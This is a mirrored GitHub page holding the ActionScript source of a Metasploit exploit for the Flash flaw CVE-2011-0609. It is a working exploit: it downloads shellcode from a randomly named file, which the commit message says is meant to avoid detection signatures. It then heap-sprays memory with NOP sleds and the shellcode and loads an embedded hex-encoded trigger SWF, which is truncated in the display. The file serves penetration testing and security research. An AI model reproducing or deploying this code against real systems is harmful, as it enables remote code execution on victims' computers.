external/source/exploits/CVE-2011-0609/exploit.as - master - githubmirror/metasploit-framework

external/source/exploits/CVE-2011-0609/exploit.as
154 строки53 KB
David Rude
made the shellcode request random to avoid signatures
26 мар 2011, 19:00
26 мар 2011, 19:008c614a9
package {
		import flash.display.*;
		import flash.system.*;
		import flash.utils.*;
		import flash.text.*;
		import flash.utils.ByteArray;
		import flash.events.*;
		import flash.utils.Timer;
		import flash.net.*;
		import flash.external.ExternalInterface;
		import flash.utils.Endian;
		import flash.ui.ContextMenu;

		public class Exploit extends MovieClip {
				private var textbox:TextField = new TextField();
				private var msg:String = "Loading...";
				private var shellcode:String;
				var urlLoader:URLLoader = new URLLoader();

				static const POOL_SIZE:int = 0x20000;
				static var allocs:Array;
				static var pool:ByteArray;
				static var dstSize:int;
				static var allocCount:int;
				static var cevent:Function;
				static var remainder:int;

				public function exploit():void {
						var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
						var urlRequest:URLRequest = new URLRequest(path);
						urlLoader.dataFormat = URLLoaderDataFormat.TEXT; // default
						urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
						urlLoader.load(urlRequest);
				}
				
				public function randname(newLength:Number):String{
				  var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
				  var alphabet:Array = a.split("");
				  var randomLetter:String = "";
				  for (var i:Number = 0; i < newLength; i++){
				    randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
				  }
				  return randomLetter;
				}

				public function alloc_shellcode(p:String):void {
						var val:ByteArray = new ByteArray();
						val.endian = Endian.LITTLE_ENDIAN;

						for (var i:int = 0; i< 0x7001 - 134 - 0xc; i++)
						{
								val.writeByte(0x0d);
						}

						for(i = 0; i < 20; i++)
								val.writeByte(0x90);

						val.writeBytes(hextobin(p));

						for(var x:int = 0; x < 400; x++)
						   alloc(val, 1048576 - 3840 - 36, load_trigger);
				}

				public function load_trigger(evt:Event):void {
						var swftrigger:String = "43575309eac70000789cbcbc09601bc5153fbc33bbdad54a3e245f712e4721c64e8c1b27015a4809e01cce0189432e02c5b656b214197ca4969d03dae20492705f218140003b8170849b94aba59c2d502e1d4d423 … [Строка слишком длинная. Вы можете скачать файл]
						var bytes:ByteArray = hextobin(swftrigger);

						var ldr:Loader = new Loader();
						ldr.loadBytes(bytes);
						addChild(ldr);
				}

				public function hextobin(hex:String):ByteArray {
						var bytes:ByteArray = new ByteArray();
						var data1:Array = hex.split("");
						var data2:Array = [];

						for(var i:int = 0; i < data1.length; i += 2)
						   data2.push("0x"+data1 [i]+data1[i+1]);

						for(var j:int = 0; j < data2.length; j++)
						   bytes[j] = data2[j];

						return bytes;
				}

				public static function init_pool(val:ByteArray):void
				{
						pool = new ByteArray();
						pool.writeBytes(val);

						while (pool.length < POOL_SIZE)
						{
								var temp:ByteArray = new ByteArray();
								temp.writeBytes(pool);
								pool.writeBytes(temp);
						}
				}

				public static function alloc_event(evt:Event):void {
						var block:ByteArray = new ByteArray();
						block.writeBytes(pool);
						allocs.push(block);
				}
				public static function remainder_event(evt:Event):void {
						var block:ByteArray = new ByteArray();
						block.writeBytes(pool, 0, remainder);
						allocs.push(block);
						cevent(evt);
				}

				public static function alloc(val:ByteArray, size:uint, complete_event:Function):void {
						if (null == allocs)
								allocs = new Array();

						dstSize = size;
						cevent = complete_event
						remainder = dstSize % POOL_SIZE

						init_pool(val);

						var timer:Timer = new Timer(2, dstSize / POOL_SIZE);
						timer.addEventListener(TimerEvent.TIMER, alloc_event);

						if (0!=remainder)
								timer.addEventListener(TimerEvent.TIMER_COMPLETE, remainder_event);
						else
								timer.addEventListener(TimerEvent.TIMER_COMPLETE, complete_event);

						timer.start();
				}

				public static function free():void {
						allocs = null;
				}

				public function urlLoader_complete(evt:Event):void {
						 alloc_shellcode(urlLoader.data);
				}

				public function Exploit()  {
						textbox.height = 320;
						textbox.width = 320;
						textbox.border = true;
						textbox.text = msg;
						addChild(textbox);

						exploit();
				}


		}
}
var ex:Exploit = new Exploit();